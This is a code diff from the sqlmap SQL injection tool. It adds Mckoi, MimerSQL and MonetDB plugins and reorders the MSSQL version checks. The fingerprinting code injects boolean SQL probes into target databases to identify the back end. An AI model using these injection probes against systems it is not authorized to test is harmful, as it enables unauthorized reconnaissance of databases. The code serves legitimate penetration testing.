a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py new file mode 100644 index 00000000000..cb6c5e92f32 --- /dev/null +++ b/plugins/dbms/mckoi/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Mckoi it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py new file mode 100644 index 00000000000..b10326fc433 --- /dev/null +++ b/plugins/dbms/mckoi/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Mckoi it is not possible to get the banner" + logger.warn(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Mckoi it is not possible to enumerate the current user" + logger.warn(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Mckoi it is not possible to get name of the current database" + logger.warn(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Mckoi it is not possible to test if current user is DBA" + logger.warn(warnMsg) + + def getUsers(self): + warnMsg = "on Mckoi it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Mckoi it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Mckoi it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')" + logger.warn(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Mckoi it is not possible to search databases" + logger.warn(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Mckoi it is not possible to search tables" + logger.warn(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Mckoi it is not possible to search columns" + logger.warn(warnMsg) + + return [] + + def search(self): + warnMsg = "on Mckoi search option is not available" + logger.warn(warnMsg) + + def getHostname(self): + warnMsg = "on Mckoi it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Mckoi it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py new file mode 100644 index 00000000000..aaeb14d0654 --- /dev/null +++ b/plugins/dbms/mckoi/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Mckoi it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Mckoi it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py new file mode 100644 index 00000000000..6a73a24a5d9 --- /dev/null +++ b/plugins/dbms/mckoi/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MCKOI_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MCKOI) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MCKOI + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MCKOI_ALIASES): + setDbms(DBMS.MCKOI) + return True + + infoMsg = "testing %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DATEOB()>=DATEOB(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ABS(1/0)>ABS(0/1)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warn(warnMsg) + + return False + + setDbms(DBMS.MCKOI) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warn(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = MCKOI_DEFAULT_SCHEMA diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py new file mode 100644 index 00000000000..eadbee04f15 --- /dev/null +++ b/plugins/dbms/mckoi/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py new file mode 100644 index 00000000000..74805fe808f --- /dev/null +++ b/plugins/dbms/mckoi/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py new file mode 100644 index 00000000000..e3b757b75b5 --- /dev/null +++ b/plugins/dbms/mimersql/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MIMERSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.mimersql.enumeration import Enumeration +from plugins.dbms.mimersql.filesystem import Filesystem +from plugins.dbms.mimersql.fingerprint import Fingerprint +from plugins.dbms.mimersql.syntax import Syntax +from plugins.dbms.mimersql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MimerSQL methods + """ + + def __init__(self): + self.excludeDbsList = MIMERSQL_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MIMERSQL] = Syntax.escape diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py new file mode 100644 index 00000000000..961f9f64738 --- /dev/null +++ b/plugins/dbms/mimersql/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import mimerpy +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/mimersql/MimerPy + User guide: https://github.com/mimersql/MimerPy/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except mimerpy.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except mimerpy.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (mimerpy.OperationalError, mimerpy.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except mimerpy.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py new file mode 100644 index 00000000000..390a9dbb474 --- /dev/null +++ b/plugins/dbms/mimersql/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MimerSQL it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on MimerSQL it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MimerSQL it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/mimersql/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py new file mode 100644 index 00000000000..b014f4f8abb --- /dev/null +++ b/plugins/dbms/mimersql/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MIMERSQL_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MIMERSQL) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MIMERSQL + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MIMERSQL_ALIASES): + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IRAND()>=0") + + if result: + infoMsg = "confirming %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("PASTE('[RANDSTR1]',0,0,'[RANDSTR2]')='[RANDSTR2][RANDSTR1]'") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warn(warnMsg) + + return False + + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py new file mode 100644 index 00000000000..494388855d0 --- /dev/null +++ b/plugins/dbms/mimersql/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT UNICODE_CHAR(97)||UNICODE_CHAR(98)||UNICODE_CHAR(99)||UNICODE_CHAR(100)||UNICODE_CHAR(101)||UNICODE_CHAR(102)||UNICODE_CHAR(103)||UNICODE_CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("UNICODE_CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py new file mode 100644 index 00000000000..715a18e770b --- /dev/null +++ b/plugins/dbms/mimersql/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py new file mode 100644 index 00000000000..dad05bbc02a --- /dev/null +++ b/plugins/dbms/monetdb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MONETDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.monetdb.enumeration import Enumeration +from plugins.dbms.monetdb.filesystem import Filesystem +from plugins.dbms.monetdb.fingerprint import Fingerprint +from plugins.dbms.monetdb.syntax import Syntax +from plugins.dbms.monetdb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MonetDB methods + """ + + def __init__(self): + self.excludeDbsList = MONETDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MONETDB] = Syntax.escape diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py new file mode 100644 index 00000000000..47cd6389c9d --- /dev/null +++ b/plugins/dbms/monetdb/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import pymonetdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/gijzelaerr/pymonetdb + User guide: https://pymonetdb.readthedocs.io/en/latest/index.html + API: https://www.python.org/dev/peps/pep-0249/ + License: Mozilla Public License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except pymonetdb.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except pymonetdb.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymonetdb.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py new file mode 100644 index 00000000000..63cff1fb358 --- /dev/null +++ b/plugins/dbms/monetdb/enumeration.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MonetDB it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MonetDB it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/monetdb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py new file mode 100644 index 00000000000..4c1d7ad51d7 --- /dev/null +++ b/plugins/dbms/monetdb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MONETDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MONETDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MONETDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES): + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("isaurl(NULL)=false") + + if result: + infoMsg = "confirming %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CODE(0) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warn(warnMsg) + + return False + + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py new file mode 100644 index 00000000000..6ac40d41751 --- /dev/null +++ b/plugins/dbms/monetdb/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CODE(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py new file mode 100644 index 00000000000..9afbcab09eb --- /dev/null +++ b/plugins/dbms/monetdb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index ef7ca75fa5b..56b7b1d3380 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 119ccb63da7..730e7220aa1 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 91956307e2f..ae6b113e9b8 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index ed394ecde21..2a4fd28ecbd 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 4e4f7db0e34..6d023d41222 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -89,18 +89,21 @@ def checkDbms(self): logger.info(infoMsg) for version, check in ( - ("2000", "HOST_NAME()=HOST_NAME()"), - ("2005", "XACT_STATE()=XACT_STATE()"), - ("2008", "SYSDATETIME()=SYSDATETIME()"), - ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), - ("2014", "CHARINDEX('12.0.2000',@@version)>0"), + ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), + ("Azure", "@@VERSION LIKE '%Azure%'"), + ("2017", "TRIM(NULL) IS NULL"), ("2016", "ISJSON(NULL) IS NULL"), - ("2017", "TRIM(NULL) IS NULL") + ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), + ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), + ("2008", "SYSDATETIME()=SYSDATETIME()"), + ("2005", "XACT_STATE()=XACT_STATE()"), + ("2000", "HOST_NAME()=HOST_NAME()"), ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) + break if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 8cf6c2910c4..17f6dca9f81 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index c47253a0e79..7b1ea5bd18d 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index a53a4212feb..a46c76ed04d 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index a2abdd3d3fb..a8a0c58ac62 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py 